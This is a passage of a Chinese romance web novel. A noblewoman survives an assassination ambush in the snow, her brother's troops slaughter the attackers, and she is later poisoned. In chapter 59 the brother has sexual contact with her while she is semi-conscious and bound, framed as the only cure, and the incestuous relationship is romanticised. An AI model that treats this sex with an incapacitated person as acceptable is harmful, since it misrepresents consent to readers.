她这么想着,可是心思却总是往不好的方向去,仿佛有什么天大的危险在悄悄逼近着。 不会的。 这里离河东军营不过一日的路程,任谁也不该在这里动手。 她焦躁地走来走去,终究还是决定亲自去叫一下甲士去加紧巡逻,排查危险,可是手刚放在门上,就被翘起来的木刺扎进了血肉,顿时殷红的鲜血凝成了血珠。 “嘶——” 聂妩急忙将含在口中,甫一回头,便是一双满是杀意的眼睛,漆黑的眼睛映着的她错愕惊魂的模样。 第57章 原来,他一直在她身边 “啊——” 聂妩瞬间吓得魂魄荡荡, 就在长剑的剑尖闪过骇人冰冷的光芒之时,另一只利剑陡然的平滑地穿过了他的胸口,锋锐的剑尖自他的胸膛冒了出来, 像是一场春雨后,土地生出的竹笋一般。 像是温润清香的春雨在竹林里幽幽蔓延开来一般, 聂妩的每一次呼吸,都是黏腻的血腥气,直达心肺,直击魂魄。 聂妩睁着眼睛,看着激烈的血花猛然四溅开来,温热的感觉落在她的脸上, 让她恍惚又茫然。 可是未待她缓过神来, 她的背后感受到一股巨大的力道,整个人就被撞飞的门板连带着一同摔在地上,巨大的冲击让她整个人都在发蒙,一时不知自己身在何处。 踏踏踏—— 迅速如急雨的声音一齐拥了过来, 是裴府暗中守卫的甲士急速列队而来, 一时剑戟交错白刃森森, 形成防御圈将他们守卫在中心。 护卫统领一脚便将横亘在眼前的白衣刺客尸体踢开,利落地安排撤退事宜,统领话音未毕,客栈外传来马蹄声, 由远而近逼了过来。 举目望去,一众披着白色披风的人马快速奔袭而来,如此装束, 混迹在雪地很难为人察觉,一时就算是身经百战的护卫统领也很难判定到底有多少人。 “放箭!” 一生刺破风雪的哨声, 裴府甲士纷纷拿起背负的长弓,引弓搭箭,百来支箭一时射了出去,击退了白衣甲士的第一次进攻。 而借着这次攻击,护卫统领也注意到了一队人马竟有两百人之众,淹没在茫茫雪雾里时隐时现,手中利刃折过雪光,落在了护卫统领惊愕地眸中。 他虽应裴瑛之令,在裴小姐身边担任戍卫任务,他知裴大人极为看重裴小姐,便也对此行的安全问题做了齐全的准备,就算有威震一时的平山匪盗来劫道也可从容应对。 可是他却却万万不曾想竟会有人用如此大的手笔来杀一个既手无缚鸡之力又在朝堂上毫无威慑的女人。 如此攻势,只有久经训练熟知截杀之徒方可为之。 守卫在客栈的裴府甲士当有百人之数,而那白茫茫风雪里的人却有两百人之众,两倍之差,加之对方是有备而来,一时之间,差距顿显。 可就在所有随身携带的长箭已然发射出去之后,护卫统领立即组织撤退,同时留下大部分甲士上马组织殿后。 一时之间长剑如林,寒光四射,几乎没有停顿,两方瞬间撞在一起,喊杀震天,鲜血飞溅,点点滴滴落在皑皑白雪之上,凝成冰冷的雪珠,浑圆地搁在白雪之上,被狂风吹得到处滚,很快便又马蹄踩得稀碎。 两方势力瞬间交织在一处,裴府甲士不后退一步,白衣刺客却也不能前进一步,惨烈的僵持战打得激烈,流雪疾风回转其间,冷冽的气息将鲜血的温热夺走,而后渐次飘荡向远方。 裴明绘迷迷糊糊地睁开眼,一眼便见好似战场厮杀一般的场景,披着白色斗篷的刺客与裴府的甲士激烈搏杀着,每个人都鲜血淋漓。 最后,血肉横飞。 这是一场无比惨烈的搏杀,一个优劣显而易见却又拚命相搏的殊死拼杀。 裴明绘被簇拥着上了辎车,背弓负弩的甲士护卫辎车在四面,护卫统领一马鞭猛地打了下去,驾车的两匹骏马长长嘶鸣一声,遂放马飞驰,辎车辚辚启动,飞一般驶进了飞扬迷离的大雪之中。 力量悬殊,被远远落在后面的白衣甲士终究冲破了裴府甲士的防守,为首之人一生尖锐的哨声,所有人的浩浩荡荡杀了过来。 颠簸异常的马车里,裴明绘也彻底清醒过来,她正欲从辎车里探头去看外边的情况,却又被车厢里的甲士一把拽了回来。 夜深雪重,辎车反而不利于奔逃,裴府甲士护卫在辎车两侧,时而跟两骑并行时而单骑成列,为辎车前行清除障碍物。 随之时间的推移,两队人马的距离越拉越近,白衣甲士显然都是装备精良长于截杀之辈,显然是怀着必杀的决心而来,就在行将首尾时相衔之际,一道惊雷猛地炸了开来。 一道惊雷,暴雪狂卷,昏昏暗暗,不见天地。 —— 一道惊雷,瞬间惊醒了闭目养神的裴瑛,他猛然睁开眼睛,几乎没有片刻犹豫,便命令近卫即刻动身。 —— 借着这个暴雪的空当,两队人马再度拉开距离,暴虐的风雪竟在此时此刻为他们留下了一线生机,只要再往前走,驶上河东官道,便可直达河东军营处。 车马驶出密林,便是辽阔不见阻碍的雪原,随着时间的拉进,两队车马的距离再次被拉断,越拉越近,风雪似乎紧绷成了一条弦,生死存亡即在这一线之间。随着白衣甲士首领一声刺破风雪的哨声,整个马队瞬间成雁字形迅速扩散开,形成了包围圈,手中弓弩剑已上弦,又是一声尖啸的哨声,长箭已如暴雨一般倾泻而来,虽然裴府甲士拚命挥舞长剑拨打流矢,可是这箭如飞蝗一般无孔不入,他们自顾尚且无暇,登时骏马折命车厢坠地。 —— 裴瑛风一般地往外走着,风灯晃悠悠的十分不安,他迎面便撞见飞马前来之人,他一见裴瑛,遂滚鞍下马,大步走了过去,却又一个踉跄将欲摔在地上,裴瑛一把拉住了他:“大人,出事了。” —— 轰然一声,辎车在暴风里翻滚,最后停在深深地雪泥里,车辕摧折,寂静无声,像是一处孤零零的破烂不堪的坟墓,矗立在狂暴不息的风雪里。 “护住小姐!” 裴府甲士立即成围成环形护住辎车,不断地击飞砍断不断袭来的利箭,但终究寡不敌众,被逼进了包围圈里。 两军业已对垒,冲突一触即发。 白衣甲士的首领一招手,众多白衣甲士纷纷从容走马,以摧折的辎车为中心,将他们的逃生之路密密包裹得成铜墙铁壁。 “抓住她,要活的。” 白衣甲士第一次说话了,他的声音格外清润柔软,丝毫没有杀人时的冷厉肃杀。 风雪呼啸着,残破的辎车静静地躺在雪地里,裴府的甲士业已重伤累累,但依旧坚定地护在辎车周围。 一个女子艰难地从翻倒的车厢的车窗爬了出来,气喘吁吁地躺在雪地了,过了许久,方才又站了出来,那一双漆黑的眼眸在漫天飞雪里也这般明晰:“你们是什么人!” 白衣刺客首领慢条斯理地说道:“裴小姐只要跟我们走,我们自不会伤害小姐的性命!” 女子冷笑一声,虽然身在如此险境,她却也没有丝毫恐惧畏缩:“跟你走,怕是又要威胁我哥哥罢,告诉你们,我绝无可能被你们俘虏!” “裴小姐敬酒不吃吃罚酒,可就莫怪我等粗人不知怜香惜玉了。” 他们渐次逼近,裴府的甲士也防御圈也在收拢,优劣两方,显而易见。 女子却并不慌张,环顾四周,只见白茫茫里都是他们的身影,像是幢幢鬼影一般。 “你们若要再靠近一步,我便自裁于此。” 女子从地上士气一把结着血冰的长剑,仔细瞧了瞧,眨了眨眼,看清自己狼狈的模样,最后叹息一声,悠悠然横剑于颈前:“你们尽管来就是。” 白衣甲士首领似乎对她这个威胁不甚在意:“好啊,你且做就是。到底你的死活,于我们而言,并不重要。” 说罢,他意欲继续按辔徐行步步紧逼,裴明绘的手渐渐握紧了剑柄,手心沁出了汗,汗水凝成了冰,可就在此时,白衣甲士首领却被一旁的人猛地拉住了缰绳,不得在前进一步,原本持续逼近的包围圈也随之停止了扩张。 白衣甲士首领眯着眼,转头看向了一旁的人,眼神里满是危险的气息,显然是在威胁他不要多管闲事。 那人也不甘示弱,猛地向后一拉缰绳,首领的坐骑踏踏向后走了几步。 首领顿时蹙起了眉,二人无声地对峙着,谁也不肯让步。 突然间风雪里似乎传来了危险的声音,由远而近,顶风冒雪而来,那人似乎意识到了什么,蹙起了眉,慢慢松开了缰绳,纵马悄然离去。 白衣甲士似乎不以为意,继续将目光压在裴明绘身上。 可是就他准备下达命令的时候,暴雪瞬间四合,又是惊天动地的一声暴雷,似乎天地都为之摇颤,风雪瞬息之后陡然收刹,只有蔼蔼雪雾漂浮在空中,一片苍茫的白里,似乎有猛兽潜伏其间,伺机而动。 “什么!” 一众白衣甲士顿时警觉,不安地四处回望,就听一声号角长鸣,处在包围圈中的裴府甲士瞬间开始突围,白衣甲士正欲结阵阻拦,却不曾想黑衣黑甲的铁骑悠悠然从雪雾之中踱步而来。 如此场景,瞬间震撼了白衣甲士,他们谁都不想到,此般时候,竟会有军队埋伏在此处,如此精良的装备,如此精壮的骑士,除了河东守军又会是谁? 可是河东守军又为什么这里,难道河东郡守知晓了他们在此截杀裴氏女吗?可是河东郡守又怎么会知道他们欲要截杀裴氏女。 他们的目光不约而同地汇聚到了军队的正中心,落在了那白衣飘飘的男子身上,他的眉目肃杀如剑,一双漆黑的眼眸是刺骨的杀意,居高临下睥睨着他们。 螳螂捕蝉,黄雀在后,谁又在谁的股掌之中? 裴明绘不可置信地看着,混沌天地之中军队从容而至,而她的哥哥就在其中。 “还不束手就擒。” 裴瑛的语气是显然而又冷冽的杀意。 风雪已然停寂,雪雾虚虚地漂浮在空中,可空气却又分明地焦灼起来,似乎于无声之中绷起了一根无形的弦。 箭在弦上,一触即发。 “什么!” 当一众白衣甲士彻底看清了他的面目之时,人人目瞪口呆不知该如何是好,他们就算身经百战长于暗杀,人人都是有着七八个心窍的能人,可任谁万万不曾想到裴瑛竟会在此,据长安的消息,裴瑛不是应该因为患了风寒而在府中昏迷不醒吗?上面人明确告诉他们,裴瑛不会陪同裴小姐回河东,身边守护的甲士也不过百十来人。 可如今的场景,却是裴瑛一直跟在裴小姐身边! 裴瑛眼见裴府的甲士已然带了裴明绘她们冲出了包围圈,并且逐步步入可与之策应之地,裴瑛紧蹙的眉头才放了下来,紧紧攥着缰绳的直到麻木的手才微微松泛了起来。 裴瑛正是因为担忧突然发起攻击会将战火引到裴明绘身上,他一确定其安全无虞,便微眯起眼睛,利落抬手,随即一队弓箭手拉弓,铁箭破雪,如落雨一遍泼洒而来。 如此攻势之下,就算他们想要防御,却也是力不能及了。此乃重箭,专门在战场之时对付敌人的重骑兵,而白衣甲士为求快捷截杀,所执都是轻刃,身上穿得都只是轻薄的软甲,一旦遇上精铁打造的箭簇,想要抵抗,那便只能是蚍蜉撼树罢了。 不少白衣甲士纷纷落马,鲜血四溅,人仰马翻。 可是仍有不少人再拚命反抗,甚至想要纵马与之厮杀。 可是专司截杀暗杀的百人马队,又怎么可以与身经百战的河东守军相比呢? “既然反抗,那便就地诛杀罢。” 裴瑛话落,骑兵风驰电掣飓风一般卷了过去,白衣甲士拼死抵抗,最后却也化作一地血腥,成为一具具毫无生机的死尸。 等到所有的反抗之人都被就地诛杀,空中飘荡的雪雾也沉了下来,白色的月亮自阴云之中探出头来,它的光亮,像是飘着冰的河水一般静静流淌着,清澈到冷冽,让人忍不住发抖。 所有厮杀业已结束,汩汩的鲜血汇聚成溪流,慢慢地流淌在皑皑白雪之上,深深陷进去,最后化作凝固的血冰河。 裴明绘呆呆地跪坐在地上,仰着头,看着他。 原来,他一直都在,一直都在守护着她。 他未曾留她,是因为他一直在不远处跟着她。 他纵然怨她,恼她,不愿与她再做兄妹,却也依旧在默默地守护着她。 裴瑛翻身下马,身体下意思地想要向她的方向靠近,可是方才迈出了一步,却又停在了原地,既不往前走,也不往后退。 风雪间流淌的是无言的沉默,这疾风暴雪的混沌天地,所有甲士都成为默然的黑色森林,似乎只剩下他们两个人,相顾却无言。 第58章 分别 暴风雪之后的天空是极为干净的深蓝色, 上面缀着一颗亮得像是珠子的月亮。 天空下面,是一望无际的暴雪之后的雪原,空荡荡的, 除了雪,就是雪, 上面站着一对兄妹,以及沉默肃立着的河东守军。 谁也不说话。 裴瑛沉默着,长久地沉默着,裴明绘从他的沉默里,明白了他的心思,在这个明白的道理到来她的脑海的同时, 一种难以遏制的痛苦猛地降临在她的心里, 而后蔓延在四肢百骸。渗透在血液里。 她垂下头,支撑在雪地里的手指慢慢地蜷缩起来,留下深深地五指抓痕。 真的都结束了,到这里, 就都结束了。 哪怕面临死亡之时, 裴明绘也不曾如此痛苦过, 她将剑搁在自己的颈上时,剑锋的寒冷与自己血管的温热只有毫厘之差。 只要一用力,鲜血便会喷涌出来,可是她却一点都不害怕, 她甚至有过一瞬间的欢愉与期待,期望着能够做上一回不畏生死的女英雄,让所有的人都看看, 裴瑛的妹妹不是贪生怕死之徒,她也有着同他哥哥一般勇于赴死的勇气。 所有波澜壮阔之后, 裴明绘也暗自希冀着,自己的死能够扭转他的心,让他明白,自己是多么爱他,超越一切。 她宁愿用自己的生命去挽回一切。 她曾幻想,在自己死后,裴瑛会重新把自己记在裴氏的族谱之上,他会思念自己,过去的一切错误全部烟消云散。 她在他心里,依旧是他的好妹妹。 可是她没死,他也来了。 看见他的那一刻,她是欣喜若狂的,每一寸血肉都在激越冲荡着,她几乎想飞奔过去,抱住他,诉说自己心中的害怕,企图借此来弥合二人之间的罅隙。 她看着他,眼中是要满溢出来的希冀。 可是他停止了往前的步伐,不再像以前一样,跑过来将她护在怀里。 劫后余生的欣喜与兄妹重逢的惊喜瞬间荡然无存,她默默地注视着他,一滴泪也落不下来。 该结束了。 她心道。 纵有万般不舍,也到了该分别的时候。 她爱他,这是一个显而易见的错误。 他舍弃她,也是一个十分明智的决定。 是她,一错再错不知悔改一意孤行,生生断了二人的兄妹情谊。 错了,就要承担后果。 这是裴瑛曾经告诉她的。 她想要告诉他,他能来,她很高兴。 可是她一个字也说不出口。 就这样罢,什么都不说了。 她想,就算她不说,他也会明白的。 她站了起来,不再看他,在裴瑛的注视之下,默默走向了一匹骏马,牵着缰绳,翻身上马。 裴瑛也翻身上马,按辔徐行,默然跟在裴明绘身后,河东守军整肃列队,在千夫长的挥舞的旗帜之下开始有序退后。 漫漫雪原里,寂静无人声,只有马蹄踩踏积雪以及战马的喷鼻声回响在此间。 裴明绘仰起头,看向天上那轮月亮。 是什么时候呢?是什么时候开始一错再错的呢? 裴明绘有些想不明白,这段感情什么时候走上了不可回头的歧途呢? 她的思绪越飘越远,一直飘到了胸膛里的心开始为他跳动的时候,名为禁忌的情愫开始在心底生根发芽的时候。 这是很久之前的事了,本该积在心底落了灰的事,在她心底却依旧欢悦地跳动着。 她永远记得,那是她第一次学骑马的时 候,她那时胆子很小,个子也不高,看着眼前的高头大马摇马尾巴,鼻子咴咴地喷着气,看上去不是很友善。 裴明绘对马这种生物不是很有好感,对近距离接近它们这件事很是害怕。 那时的裴瑛刚刚升任太中大夫,很忙,忙得连轴转,府邸里头来来往往的都是步履匆匆的大小官员,她都怀疑裴瑛到底有没有时间睡觉了。 她尝试过在他处理公文的时候陪在他的身边,他在长案忙碌地阅览公文,将一摞摞的竹简案牍都从这边堆到那边,又将紧要的公文从这边堆到那边。 她伏在桌案上,仰着头看他,一不小心就睡了过去,等醒来的时候,她已经躺在了一旁的美人榻上,身上盖着毛绒绒的毯子,而裴瑛依旧在忙碌着。 可就是这样忙碌地他,却也依旧抽出时间来陪她。 他真的有在做一个好哥哥。 他不仅是一个极好极好的哥哥,也是一个极好极好的老师,他牵着缰绳,让她慢慢地习惯了骑马的感觉,一点一点消解着她的不安。 之后,他便慢慢地松开了缰绳,让她自己去练习,裴明绘心底还是害怕,但是她一看见裴瑛鼓励的眼神,心底就忍不住雀跃起来。 她想让裴瑛满意,让他高兴,让他觉得这个妹妹是个好学生,是个可造之材。 但是显然不行,她从马上摔了下去,她原本自己定然会摔得很惨,可是并没有,她摔进了一个盈着冷香的怀抱,她一抬头,就看见裴瑛惊慌的神色,原本风云不动的眼睛像是一汪颤动的春水,荡着一圈借着一圈的涟漪,一直到了他的心底。 也到了她的心底。 记忆又在往后走,那是一个雪天,天上是一轮圆圆的月亮,地上是一层厚厚的雪,踩上去便发出咯吱咯吱的声音。 裴明绘小心翼翼又鬼鬼祟祟地走进了他的书房。 窗子半开着,映着深蓝色的景,裴映负手长立于前,蹙着眉思索着什么,听闻身后的动静,他微微偏过头来,轻松躲过了一个捏得浑圆的雪球,雪球打在墙壁之上,摔成大小不一的雪块,雪粒纷纷扬扬落了下来。 裴瑛看到是裴明绘的时候,眼中的冷漠瞬息化作无奈,又在垂首一笑后变作一丝动人的狡黠,消失已久的少年人的恣肆快意久违地回到了他的身上。 裴明绘见势不好,立马撒腿就跑,可是却被裴瑛捏得雪球打得满身都是雪花,裴明绘也不甘示弱,立即捏雪球反击,裴瑛身形灵活,接连躲了过去,可是见裴明绘气得脸颊都鼓了起来,便也就颇为迟钝得挨了几下。 裴瑛摔在雪里,裴明绘去拉他,却也被裴瑛一同拉了下来。 兄妹二人仰头看着天上那一轮干净透亮的月亮,都笑了。 后来,他们一起堆了两个雪人,一大一小,一男一女,像是一对兄妹。 裴明绘:“他们也是兄妹吗?” 裴瑛:“是啊,就像我们一样。” 裴明绘:“真好啊,他们永远站在一起。我真想让他们永远都站在一起,永远都不分开,可是雪一化,他们也就都消失了。” 裴瑛摸了摸裴明绘的头:“雪有落化,人有生死,此乃天命,不可违逆。” 裴明绘顿时沮丧了起来,她垂下头,很是惆怅。 裴瑛:“不要怕,至少他们永远在一起,生在一起,死也在一起。” …… 太多太多了,没有什么波澜壮阔的爱情故事,只有一点一滴普通却甜蜜的过往,一点点地浇灌着她的心田,让这小小的种子生了小小的芽,在她蒙昧不清里的心里深深地扎了根,等到她意识到的时候,却再也不可能将它拔出了。 她一点一点地回忆着,咀嚼着过往的所有甜蜜与快乐,希冀着能够借此填补自己心底的空缺。 可是风太冷了,一吹,就将她方才填补的美好吹得摇摇欲坠。 都结束了。 她笑了起来。 挺好的,就这样,没有什么悲痛欲绝的生死别离,就这样,沉默地分别,就像一开始一样,两个人各自过着各自的生活。 没有什么比这更好了。 但她想,她会永远记得他的,直到自己进了坟墓的那一刻,才会永远地不再去思念他。 这真是一段漫长的余生。 可一想到她再也不能见到他,她突然很想哭,她想对他说,对不起,她不是一个好妹妹。 可是,她张开有些干裂的嘴唇时,却又将这个想法摁了下去。 算了算了,他都明白的,说不说,结果都一样,何必让彼此都这么狼狈呢。 恍惚间,她惊觉自己已经失去了对他说话的勇气。 真可悲啊。 她依旧笑着,只是这苦涩的笑意还没有维持多久,她的脑子有些发蒙,一阵阵冷意从骨髓里蔓延出来,她不想让他担心,便垂下头,重重地吐出一口气,热气凝成迷蒙的水雾,幽幽地飘荡在她的眼前,迷惑了她的眼睛,阻挡她的视线。她停下呼吸,等待着雾气的消散,但是雾气却是久久不散,反而越积越重,像是从谷底蔓延出来的山岚一般,以至于天上的圆圆的一轮明月都成了大大的一个。 月亮原来这么大吗? 她心道。 滴答滴答…… 粘稠的水滴声传来。 下雨了吗? 裴明绘正要伸手去接,天地骤然倒转,她好像是被呼啸而来的海浪卷走一般,身体失去了控制。 天变黑了。 裴明绘从马上跌了下来,摔倒在皑皑白雪里,口鼻里溢出了刺目的鲜血,鲜血透过她的衣裳,染红了身下冰冷的雪。 裴瑛也从马上跌了下来。 第59章 迷乱 盘古劈开混沌, 所以才有了天地,而裴明绘仿佛置身混度之中,没有天, 没有地,也没有空气, 她无时无刻都在窒息中,可偏偏又死不了,只能痛苦地煎熬着。 屋子外风雪再起,不断拍打着窗牖,又是一阵风,将窗牖吹了开来, 一时之间帷幔翻飞雪粒飞扬, 一双苍白的手将窗牖推了回去,关好。 裴瑛长久地扶在窗牖之上,垂着头,黑色发丝落下, 遮住他的神色。 过往那些如同冰雪一般的冷彻与果决已然消失不见, 那些在风雪战场之上的狠厉无情也都没有了踪迹, 他像是一个冰雪雕刻而成的雕塑,一动也不动。 他的身后,是年老的医者正悬脉于昏迷不醒的裴小姐腕上,老医者久久地蹙着眉, 又是良久,医者才收起了手。 看来,情况并不是很好。 “如何?” 眼见医者收了手, 裴瑛便立马走了过去,急切地询问她的病情。 医者的眉头依旧紧紧地蹙着, 裴瑛的心思立即绷成一条弦,手却微微颤抖着。 医者并没有立即说话,他沉默着,似乎在斟酌用词。 而慢悠悠过去的这些时间,让裴瑛心中的那根紧绷着的弦变得随时都有崩断的风险。 他觉得自己快要疯了,他只恨不得掐住他的脖子,让他在死亡的威胁之下,仔细明白地说。 可是他还有一丝理智在,便不能做这些个疯魔的事。 他静静地等待着,等待很可能重复的答案。 医者终于开了口,他字斟句酌,十分谨慎地说着:“裴大人,小姐身体里的毒,并非寻常的毒药,所有自不能用寻常的法子来解。” 这叫什么话! 裴瑛强行压制住内心涌动的狂躁与不安,尽量平和地说道:“直接说如何解。” 眼见裴瑛有了发怒的迹象,医者的额头也沁出了豆大的汗珠,终于在汗珠沿着下颌流下的时候,他将裴明绘的病因讲了出来。 可随着医者的话落毕,空气瞬间陷入了凝滞,裴瑛怔住了,他大张着眼睛,满脸都是不可置信地错愕,他不敢相信自己听到了什么。 他本就心如明镜,这番话说得很是明白,只有这样,只有他,才可以救她。 多么可笑啊,就像丝线之上坠着千钧一般,千分巧妙,万分荒唐。 裴瑛像是被兜头浇了一大盆地冷水,从头冷到脚,又从脚麻到头,呼吸也只剩下艰难的一丝一线。 可是榻上她的痛苦呻吟又让他惊醒了。 冷汗浸透了身上的衣裳,裴瑛像是从冷水刚捞出一般,湿漉漉的,他的脸也是惨白的,被一侧橘黄色的烛火幽幽一照,几近透明。 “出去罢。” 他的声音已然嘶哑到再也辨不出以往的音色,语气也是颤抖的。 医者赶忙诚惶诚恐地退了下去。 屋子里,只有兄妹二人。 裴瑛沉默着,心里仔细分辨着方才医者说的话,可这话颠来倒去地在心里想了千百遍,能救她的法子却只有一个。 怎么可以呢? 难道老天真的让他一错再错吗? 裴瑛慢慢地抬起头来,看着露在帐子外的她的手腕,分外苍白的肌肤之下,是显而易见的青色紫色的经脉。 裴瑛有些迟钝缓滞地走了过去,单膝跪下,白色的衣袍散开在铺着本色地毡的地上,像是落了一层冰冷的雪,映着白色的光。 他僵硬地伸出手来,冰冷的指尖慢慢地悬在她的脉搏之上,缓缓地将指腹按了上去。 一如既往的答案,让裴瑛瞬间跪坐在地上,一贯直挺的脊背弯折起来,像是被积雪压弯的青色竹枝,已然不堪重负。 怎么可以呢,怎么可以一错再错呢? 裴瑛的头无助地埋在榻上,他几乎可以听见自己的心跳声,一下接着一下,督促着他站起来。 两个人是兄妹,是彼此最为重要的亲人,这是不可置疑的。 纵然一夜荒唐,过去了就过去了,二人不再见面,也算对得起彼此,对这段数十年的感情有了交代。 更何况,长安实乃是非之地,二人不再见面,未必就是坏处。 他一切一切的思量,都是从为着她好的方面来想的。 裴瑛这样想着,可是时间终究不等人,随着他手下跳动的脉搏越来越弱,他猛然直起身子来,站了起来。 就算是他心底一贯固守的伦常道德,也不能与她的性命相比。 什么世俗道德,什么兄妹亲情,又怎么能够与她的性命相比呢? 裴瑛压下所有的情绪,将心急如焚与几乎崩溃的心神悉数压了下去,他一把掀开帘子,看见了躺在榻上昏迷不醒的裴明绘。 她安静地躺在榻上,脸色苍白得像是与雪的颜色无异,那双动人的眼眸紧紧地闭着,纤长浓密的眼睫垂了下来。 他生平第一次站在如此艰难地抉择之下,但是当他的目光放在了她痛苦的脸色之时,所有的抉择都再次被放弃。 他咬紧了牙关,巨大的压力几乎让他的一口银牙都崩裂。 没有什么,可以与她的性命相比。 他心底重述了这一句话。 他几次呼吸平稳情绪,而后缓缓地走了过去,脱下自己的外袍,盖在了她的上身,而后手开始将她的下袍脱到了腰际,当他的手停在她的亵衣上时,却艰难地下不了手,但是她越来越稀薄的脉搏,却让他下定了决心,他深吸一口气艰难地脱下了她的亵衣,而后却迅速地别过了头。 他紧紧闭着眼睛,但是一抹极为异常的红色还是从他优雅的脖颈处蔓延开来,像是染着傍晚霞光的白色云彩,一直浮漫到他的全身,血液里似乎沸腾起来,连带着最冰冷的指尖都在微微发烫。 于理不合。 他很明白。 他扯下自己的袖子,撕作一条锦缎长条,蒙住自己的眼睛。 眼前一片黑暗,他悸动到几乎无法呼吸的心跳才稍稍平缓下来,可是呼吸之间,却都是她的香气,缭绕在心肺之间,叫他不得不屏住呼吸。 好了,就这样。 他的手不由放在自己一直随身携带的玉笛之上,犹豫良久,似乎终于下定了决心将它抽了出来,缓缓地抵了进去。 但是很困难,根本进不去。 他一只手摁在她的脉搏之上,仔细地估计着她的身体情况。 而明绘处在半昏迷的状态上,这样的异样激发了她最原始的冲动,她的空闲的那只手极为不安分的挣扎着,想要获得解脱。 裴瑛长眉蹙起,呼吸是压抑不住的粗重,随后将她的乱动的那一只手控制住,用自己的锦带捆住,然后绑在床头。 好罢。 一再的让步之后,便是无尽的妥协。 手缓缓地放了上去。 他的手很凉,常年接触各种公文,以及练箭习武而磨出厚厚的茧子来,他慢慢地罩住,想要靠摩擦来获得开场。 但这远远不够,她并没有因此获得解脱,反而更加难受。 但裴瑛知道,这不是她的本意,他绝不应该趁人之危。 但是她的呻吟就如同热油一般浇在他如同雪原一样的心上,他似乎也跟着她沸腾了。 冷汗不断得下来,他觉得在这里的每一刻都是想在热汤滚了一回,巨大的违背世俗道德的压力,与进犯自己妹妹的行为叫他恨不得一头撞死,但是他必须这么做,她必须活着。 等到差不多了,冰冷的玉笛方才又抵了上去。 她似乎很抗拒这些冰冷的玉器,想要躲开,却又被一只大掌强行按住。 虽然裴瑛已经在克制,但是豆大的汗珠不断落下来,他祈祷她的药性能够快些过去,祈祷她能够平安度过此劫。 可是冰冷的玉器丝毫并没有用,她反而越来越痛苦,他手下的脉搏也因此时促时无。 裴瑛吓得手一松,险些深得过了头,他急忙将玉笛丢在地上,犹豫再三,终于咬牙去解自己的衣服。 等到明绘渐渐醒过来的时候,眼前是一片黑暗,但是却好像闪着白光,她像是一条搁浅的鱼,只能在此起彼伏的浪潮里艰难地张着嘴呼吸着。 裴瑛拼命控制自己,不想让自己沉沦在这里,可是这样迷乱的违背道德伦理的事,却叫他欲生欲死。 不知什么时候,明绘在一声粗重的喘息中彻底清醒了过来,她清晰地感受到了抹沉重的异常,顿时红了脸,她如此熟悉,如此怀念的感觉,此时此刻再度重现。 她不敢掀开盖在自己头上的东西,只能装还在昏迷,很快,她感受到柔软的布巾擦过。 簌簌衣袍摩擦之声逐渐远离,直到再也听不见声息。 又过了许久,帐子外的红烛炸开一个火花,窗外丝丝雪雾打在窗子上,像是万千春蚕一同吐丝一般。 她坐了起来,盖在她身上的衣服也滑了下来,她小心翼翼地拿起衣裳,每一次呼吸都是独属于他的那馥郁到极致的冷香。 裴明绘紧紧抱着他的衣衫,像是溺水之人抱着可以救命的浮木一般,静静地流下了泪水,泪水顺着她浮漫着潮红的脸颊落下,滴落在那白色的衣裳之上,缓缓地洇透进去。 第60章 情非得已 裴明绘又回到了长安, 不过她不再是裴府的小姐了,但是这件事没有多少人知道,知道的人也不敢就此事多说些什么。 他们就这样稀里糊涂地过着, 揣着明白装着糊涂,一直到了又一场大雪的到来。 又是一场泼天的大雪, 一夜过后,门前都积了半尺厚的雪,春喜方才出门,险些连门都没推开。 “夏荷,帮我把伞拿过来。” 春喜看着外头还飘着雪花,铺面而来的冷气冻得她把脖子都缩了起来, 便招呼一旁打瞌睡的夏荷。 “就在那儿呢, 你不会自己拿吗?” 夏荷伸了个懒腰,揉了揉眼睛,不情不愿地站了起来。 春喜一下子就恼了,恨不得撸起袖子就去掐她, 但顾忌着此时此刻裴明绘怕是还没有醒, 便也就压下了火气, 咬着牙:“等小姐醒了,看我怎么收拾你。” 夏荷也不怕春喜,两个人眼看着就要吵起来,就听懒懒一声女声传了过来:“好了, 都别吵了。” 二人这才都住了嘴,春喜自己拿了伞去了外边,夏荷走了过去, 将架在薰炉上的白狐裘取了过来披在裴明绘的身上:“这会子没关门,仔细着凉。” 自此前一遭大变, 裴明绘的身体却也是大不如前了,可是她的心,却也因此安定下来了。 她不知这种事究竟是对是错,可是是非对错,在眼前的快乐与幸福之前,这些彷徨又算什么呢。 “怎么会呢,一时的风寒罢了,总闷在屋子里,也不大好。” 裴明绘虽然这般说,可还是将披在身上软和温暖的狐裘又紧了紧,走到长案之后,靠着凭几坐了下来。 可心底隐隐的不安,却还是让她没法安心。 她想要的,不过就是一个他吗。 可分明自己已经得到了,又为什么会不安呢。 裴明绘手臂交叠搁在凭几的曲栏上,多日的病让她清减了许多,原本微微圆润的面庞业已有尖尖的下巴,她将下巴搁在手臂之上,看上去若有所思,实际上却在发着呆。 恍然,她似乎明白了。 她的脑袋歪向了一边,轻轻地靠在胳膊上,目光看向袅袅升起檀香的错金博山炉,看着那泛开来的香雾,瞳眸也渐渐涣散开来。 名分。 众人虽说都不知情,依旧叫她小姐。 只有她知道,她已经不是小姐了,她是裴瑛的情人。 其实就实来说,她怕是连情人都不是,裴瑛只是为了救她,也只是为了救她。 裴瑛将自己论做她的一味药罢了。 他到底是个好哥哥,什么都愿意为妹妹做。 想到这里,裴明绘苦笑出了声。 只可惜了,她却不是个听哥哥话的好妹妹。 她本以为二人再无可能,往后余生也各是在天涯的两端,就算想念,也只是回忆过往那些甜蜜美好的事,却也绝无可能再见真实的彼此。 偏偏绝处逢生,叫她又见到一丝光亮。 裴明绘把头又埋进了臂弯里,狐裘的绒毛是毛绒绒的,在搁着熏香的熏炉上久久地熏了一宿,这馥郁的檀香业已深入到了每一根狐狸毛上了,让她的一呼一吸都感受到了这温暖舒缓的香气。 她知道,裴瑛不可能娶她,她这辈子也不会成为他的夫人,在外人眼里,她依旧是他的乖妹妹。 在她的眼中,裴瑛却已经她心目中的爱人了。 可在裴瑛眼中呢,她又是什么呢? 怕依旧只是一个任性的离经叛道的妹妹罢。 她本就不奢望成为他的夫人的。 只要能长长久久地陪着他,有没有名分,又算什么呢。 * 夜深了,连风雪都安静下来,将原本在屋中守夜的春喜遣去休息后,裴明绘这才出了门,绣履踩在松软的新雪上边,素色的裙摆拂过冰冷的雪粒,一脚深一脚浅地往前走。 她走过回廊,穿过月门,停在了裴瑛的院子前。 她的手轻轻地拂在紧闭的院门前,一直过了好久,方才鼓足了勇气,推开了门。 一切都静悄悄的,连雪也不再落下了。 满地积雪像是枯草,她像走在一片寂静的荒原。 原本该在院子里守夜的婢女仆人也不见了踪影,连原本时时都亮着光的房子也都暗了下来。 